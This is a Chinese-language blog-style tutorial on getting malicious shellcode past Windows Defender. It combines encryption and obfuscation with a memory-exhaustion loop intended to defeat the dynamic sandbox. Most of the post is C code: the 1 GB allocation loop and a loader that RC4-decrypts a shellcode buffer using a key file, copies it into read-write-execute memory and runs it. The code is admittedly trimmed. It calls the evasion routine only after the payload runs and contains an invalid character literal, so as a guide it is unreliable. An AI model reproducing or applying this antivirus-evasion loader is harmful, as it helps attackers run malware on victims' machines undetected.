0x01 前提

这种方法的使用是要你能够过静态检测，这很容易，只需要加密混淆即可。想要过windows defender就需要绕过这种动态杀箱检测，最简单朴素的办法就是去消耗它资源，因为windows defender去创建模拟的杀箱环境的时候，不可能让用户去等待很久，他的资源是有限的，不可能让用户等待很久，没有办法去做到整个内存的查查杀，也就说动态分析的资源是有限的。

0x02 实现

1、首先是创在一个耗资源的函数体

使用C语言编写的消耗资源的函数体，它会在循环中不断地分配内存并写入数据，直到内存耗尽为止：

#include <stdlib.h>
void consume_resources() {
    while (1) {
        // 分配1GB的内存
        void* mem = malloc(1024 * 1024 * 1024);
        // 如果分配失败，则退出循环
        if (!mem) {
            break;
        }
        // 填充内存
        for (int i = 0; i < 1024 * 1024 * 1024; i++) {
            *((char*)mem + i) = (char)i;
        }
    }
}

该函数会在循环中不断地分配1GB的内存，并将其填充为递增的字节值，直到无法分配更多内存为止。

2、使用简单的分离shellcode加载器执行（下面是伪代码，删减过可能存在问题，原始代码我就不放了）

#include <string.h>
#include <windows.h>
unsigned char Buf[] = "\x6d\xdc\xe0\x20\x34\x3b\xbc\x46....";
// RC4-DEMO
void RC4(unsigned char* Data, unsigned long Length, unsigned char* Key, unsigned long KeyLength)
{
    ......
}
// 资源消耗函数
void consume_resources() {
    while (1) {
        // 分配1GB的内存
        void* mem = malloc(1024 * 1024 * 1024);
        // 如果分配失败，则退出循环
        if (!mem) {
            break;
        }
        // 填充内存
        for (int i = 0; i < 1024 * 1024 * 1024; i++) {
            *((char*)mem + i) = (char)i;
        }
    }
}
int main(int argc, char* argv[])
{
    unsigned char Key[256];
    wchar_t fileName[MAX_PATH];
    MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, fileName, MAX_PATH);
    if (fileName[0] == L'')
    {
        return 1;
    }
    // 打开文件
    HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 1;
     }
    // 读取文件内容
    DWORD bytesRead;
    if (!ReadFile(hFile, Key, sizeof(Key), &bytesRead, NULL) || bytesRead != sizeof(Key))
    {
        CloseHandle(hFile); 
        return 1;
    }
    CloseHandle(hFile);
    unsigned long buf_len = sizeof(Buf);
    unsigned long key_len = sizeof(Key);
    RC4(Buf, buf_len, Key, key_len);
    LPVOID executableMemory = VirtualAlloc(NULL, buf_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(executableMemory, Buf, buf_len);
    // 3. 执行ShellCode
    ((void(*)())executableMemory)();
        // 资源消耗
    consume_resources();
    // 4. 释放内存空间
    VirtualFree(executableMemory, buf_len, MEM_RELEASE);
    return 0;
}